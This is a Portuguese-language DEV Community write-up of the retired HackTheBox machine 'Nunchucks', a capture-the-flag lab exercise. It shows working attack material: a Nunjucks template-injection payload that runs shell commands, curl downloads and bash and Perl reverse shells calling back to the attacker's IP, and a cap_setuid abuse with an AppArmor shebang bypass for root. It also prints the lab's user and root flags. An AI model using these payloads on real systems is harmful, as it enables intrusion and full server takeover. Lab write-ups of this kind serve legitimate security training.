DEV Community

Guilherme Martins
Guilherme Martins

Posted on

1

HackTheBox - Writeup Nunchucks [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível easy que ja se encontra entre as máquinas aposentadas. Esta máquina aborda as seguintes vulnerabilidades:

  • Server Side Template Injection em aplicações NodeJS
  • Linux capabilities
  • Bypass Apparmor

Recon e user flag

Iniciaremos realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# nmap -sV --open -Pn 10.129.95.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-27 10:28 EST
Nmap scan report for 10.129.95.252
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

Ao acessar via IP a porta 80 somos redirecionados para a porta 443 que possui HTTPS.

Vamos adicionar o domínio que retorna no certificado ssl nunchucks.htb em nosso /etc/hosts.

E ao acessarmos novamente temos a seguinte página:

nunchucks.htb

Está pagina possui somente duas opções via api, login e register. No entanto não foram encontradas vulnerabilidades ou meios de exploração devido a opção estar desabilitada.

Vamos utilizar o gobuster para buscar subdomínios:

┌──(rootkali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 30587 https://nunchucks.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: https://nunchucks.htb/
Total requests: 207630
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                 
=====================================================================
000000193:   200        101 L    259 W      4028 Ch     "store"
Enter fullscreen mode Exit fullscreen mode

Localizamos o subdomínio store.nunchucks.htb, vamos adicionar em nosso /etc/hosts também. O novo subdomínio possui o seguinte conteúdo:

store.nunchucks.htb

Existe um campo para assinatura de um newsletter e podemos constatar que o mesmo é vulnerável a SSTI (Server Side Template Injection):

Payload aceito

Interceptando as requisições com o Burp Suite como proxy conseguimos testar diversos payloads para SSTI buscando execução de comandos.

No entanto, precisamos primeiro entender o que esta processando os dados que enviamos, qual o tipo de template que a aplicação esta usando.

Analisando as requisições e respostas através do burp suite encontramos o header X-Powered-By: Express

O Express é um framework web para NodeJS. E a partir daqui conseguimos visualizar os templates engine que o mesmo utiliza:

Template Engines

Dentre os templates temos o seguinte que nos chama atenção pelo seu nome:

https://github.com/mozilla/nunjucks

Aqui nosso foco se torna criar um payload que nos permite executar comandos em nosso alvo.

Conseguimos com a seguinte requisição:

POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=ccjKRgyMzBCAko0I10C2MKXv
Content-Length: 128
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://store.nunchucks.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://store.nunchucks.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/test123')")()}}"}
Enter fullscreen mode Exit fullscreen mode

Para testar o funcionamento iremos subir um servidor web utilizando python da seguinte forma e executar a requisição acima, tendo o seguinte retorno:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
Enter fullscreen mode Exit fullscreen mode

Foi executado com sucesso um curl para nossa máquina, batendo no endpoint que não existe, retornando o status code 404.

Agora que temos um RCE podemos utilizar para realizar o download e executar nosso reverse shell, da mesma forma que o exemplo acima.

Iremos criar o arquivo chamado rev.sh com o seguinte conteúdo:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1
Enter fullscreen mode Exit fullscreen mode

Para realizar o download basta alterarmos nosso payload da seguinte forma:

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/rev.sh -o /tmp/rev.sh')")()}}"}
Enter fullscreen mode Exit fullscreen mode

E temos o retorno em nosso servidor web python que o alvo conseguiu encontrar o arquivo:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
10.129.95.252 - - [28/Jan/2024 07:57:52] "GET /rev.sh HTTP/1.1" 200 -
Enter fullscreen mode Exit fullscreen mode

Com nosso reverse shell ja no alvo, através de uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001        
[07:55:13] Welcome to pwncat 🐈!
Enter fullscreen mode Exit fullscreen mode

E iremos alterar nosso payload para executar nosso reverse shell, da seguinte forma:

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash /tmp/rev.sh')")()}}"}
Enter fullscreen mode Exit fullscreen mode

Com estes passos conseguimos o seguinte retorno em nosso pwncat, com nosso shel reverso:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001        
[07:55:13] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[07:58:30] received connection from 10.129.95.252:60400                                                                                        bind.py:84
[07:58:37] 10.129.95.252:60400: registered new host w/ db                                                                                  manager.py:957
(local) pwncat$                                                                                                                                          
(remote) david@nunchucks:/var/www/store.nunchucks$ id
uid=1000(david) gid=1000(david) groups=1000(david)
Enter fullscreen mode Exit fullscreen mode

Conseguindo assim a user flag:

(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/
total 12K
drwxr-xr-x  3 root  root  4.0K Aug 28  2021 .
drwxr-xr-x 19 root  root  4.0K Oct 28  2021 ..
drwxr-xr-x  7 david david 4.0K Oct 22  2021 david
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/david/
total 52K
drwxr-xr-x 7 david david 4.0K Oct 22  2021 .
drwxr-xr-x 3 root  root  4.0K Aug 28  2021 ..
lrwxrwxrwx 1 root  root     9 Aug 28  2021 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 david david 3.7K Feb 25  2020 .bashrc
drwxr-xr-x 7 david david 4.0K Sep 25  2021 .cache
drwx------ 8 david david 4.0K Sep 25  2021 .config
drwx------ 3 david david 4.0K Sep 25  2021 .gnupg
drwx------ 3 david david 4.0K Sep 25  2021 .local
drwxrwxr-x 5 david david 4.0K Jan 27 15:27 .pm2
-rw-r--r-- 1 david david  807 Feb 25  2020 .profile
-r--r----- 1 root  david   33 Jan 27 15:28 user.txt
-rw------- 1 david david 5.0K Oct 22  2021 .viminfo
(remote) david@nunchucks:/var/www/store.nunchucks$ cat /home/david/user.txt 
329cc9dd22d4499ac9302bb6a4ff8bab
Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e root flag

Visando automatizar o processo de recon de nosso alvo, uma vez que temos um shell como usuário, vamos utilizar o linpeas.

O linpeas se trata de um script que realiza uma varredura no alvo levantando diversos pontos que possivelmente podem ser explorados para escalar privilégios, seja obter dados sensíveis, permissionamento, capabilities e diversos outros pontos.

Em nosso caso, dentre todas possibilidades que retornaram no output do script, temos o seguinte:

-rw-rw-r-- 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632618416.tar
-rw-rw-r-- 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632619104.tar
-rwxr-xr-x 1 root root 838 Sep  1  2021 /opt/backup.pl
Enter fullscreen mode Exit fullscreen mode

É um script feito em perl que possui o seguinte conteúdo:

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
Enter fullscreen mode Exit fullscreen mode

O script realiza o backup de /var/www e salva o arquivo compactado em /opt/web_backups/.

Mas realizando o download do backup e visualizando o banco de dados (que também podemos acessar o atual) não foi encontrado nenhuma informação útil que possa ser utilizada para escalar privilégios. Existe o banco de dados da aplicação que é um sqlite, mas sem nada interessante também.

Outro ponto, que é o mais importante do output do linpeas é o seguinte:

Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep
Enter fullscreen mode Exit fullscreen mode

O binário do perl possui a capabilitie cap_setuid, que permite que seja setado o uid através do binário perl, permitindo usuários sem privilégios executarem (+ep).

setuid(2) - Linux manual page

Podemos testar a execução de alguns comandos utilizando o perl via linha de comando que ver o que conseguimos executar como root:

(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
Enter fullscreen mode Exit fullscreen mode

O comando acima, assim como o script de backup, seta o uid para 0, que é do usuário root e executa o /bin/bash para criar um novo shell como root. Mas sem sucesso.

Ao alterar o comando para whoami temos sucesso:

(remote) david@nunchucks:/tmp$ id
uid=1000(david) gid=1000(david) groups=1000(david)
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
Enter fullscreen mode Exit fullscreen mode

Mas outros comandos para tentar executar um shell não funciona, como por exemplo o seguinte:

(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Enter fullscreen mode Exit fullscreen mode

O comando acima tenta após setar o user id para 0 criar uma conexão reversa com a nossa máquina na porta 9002 (que estamos ouvindo através do pwncat em outra aba do terminal).

A conexão é enviada para nosso pwncat, mas ela é encerrada logo em seguida:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[09:48:04] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[13:45:32] received connection from 10.129.95.252:37184                                                                                         bind.py:84
[13:45:32] connection failed: channel unexpectedly closed                                                                                  manager.py:957
(local) pwncat$
Enter fullscreen mode Exit fullscreen mode

Aqui temos uma pergunta a ser respondida, por que alguns comandos funcionam e outros não.

Vemos que conseguimos executar o comando id também:

(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "id";'
uid=0(root) gid=1000(david) groups=1000(david)
Enter fullscreen mode Exit fullscreen mode

Não obtivemos sucesso tentando executar um script ou um simples cat.

Existem regras que podem limitar a execução em binários, através do SELinux ou Apparmor. Em nosso caso é o Appamor, por se tratar de um ubuntu.

Verificando o apparmor encontramos a seguinte regra:

(remote) david@nunchucks:/etc/apparmor.d$ ls -alh
total 72K
drwxr-xr-x   7 root root 4.0K Oct 28  2021 .
drwxr-xr-x 125 root root  12K Oct 29  2021 ..
drwxr-xr-x   4 root root 4.0K Oct 28  2021 abstractions
drwxr-xr-x   2 root root 4.0K Oct 28  2021 disable
drwxr-xr-x   2 root root 4.0K Oct 28  2021 force-complain
drwxr-xr-x   2 root root 4.0K Oct 28  2021 local
-rw-r--r--   1 root root 1.3K May 19  2020 lsb_release
-rw-r--r--   1 root root 1.1K May 19  2020 nvidia_modprobe
-rw-r--r--   1 root root 3.2K Mar 11  2020 sbin.dhclient
drwxr-xr-x   5 root root 4.0K Oct 28  2021 tunables
-rw-r--r--   1 root root 3.2K Feb 25  2020 usr.bin.man
-rw-r--r--   1 root root  442 Sep 26  2021 usr.bin.perl
-rw-r--r--   1 root root  672 Feb 19  2020 usr.sbin.ippusbxd
-rw-r--r--   1 root root 2.0K Jul 22  2021 usr.sbin.mysqld
-rw-r--r--   1 root root 1.6K Feb 11  2020 usr.sbin.rsyslogd
-rw-r--r--   1 root root 1.4K Dec  7  2019 usr.sbin.tcpdump
(remote) david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl 
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}
Enter fullscreen mode Exit fullscreen mode

O apparmor é um MAC (Mandatory Access Control) que é implementado no kernel do linux visando controlar e limitar determinados recursos, como programas, binários e etc.

Continuando na saga para escalar privilégios para root podemos ponderar alguns pontos:

  • Somente determinados comandos conseguem ser executados devido ao apparmor
  • Não conseguimos executar nada no diretório /root, devido ao apparmor

No entanto, seguindo passos similares ao que ja tentamos foi possível executar o seguinte.

Primeiro criamos um script em perl setando o user id para 0 e executando nosso reverse shell, com o seguinte conteúdo:

#!/usr/bin/perl
use POSIX qw(setuid); POSIX::setuid(0);
use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};s
Enter fullscreen mode Exit fullscreen mode

E ao executar nosso script:

(remote) david@nunchucks:/home/david$ ./exp.pl

Enter fullscreen mode Exit fullscreen mode

Temos o seguinte retorno em nosso pwncat:

┌──(rootkali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[14:47:11] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[14:50:31] received connection from 10.129.2.248:37982                                                                                         bind.py:84
[14:50:36] 0.0.0.0:9002: upgrading from /usr/bin/dash to /usr/bin/bash                                                                     manager.py:957
[14:50:39] 10.129.2.248:37982: registered new host w/ db                                                                                   manager.py:957
(local) pwncat$                                                                                                                                          
(remote) root@nunchucks:/home/david# id
uid=0(root) gid=1000(david) groups=1000(david)
Enter fullscreen mode Exit fullscreen mode

Buscando entender o por que do script ter executado, ao contrário da mesma execução via linha de comando foi encontrado o seguinte bug:

Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor

Basicamente o shebang (#!) faz com que o perl ignore o apparmor e execute sem restrições.

Com isso conseguimos nossa shell como usuário root:

(remote) root@nunchucks:/home/david# cat /root/root.txt 
d24de14bd4c16c24fb1158033cafe1e9
Enter fullscreen mode Exit fullscreen mode

Conseguindo assim a root flag e finalizando a máquina Nunchucks :)

pwned machine

Heroku

This site is built on Heroku

Join the ranks of developers at Salesforce, Airbase, DEV, and more who deploy their mission critical applications on Heroku. Sign up today and launch your first app!

Get Started

Top comments (0)

Billboard image

Create up to 10 Postgres Databases on Neon's free plan.

If you're starting a new project, Neon has got your databases covered. No credit cards. No trials. No getting in your way.

Try Neon for Free →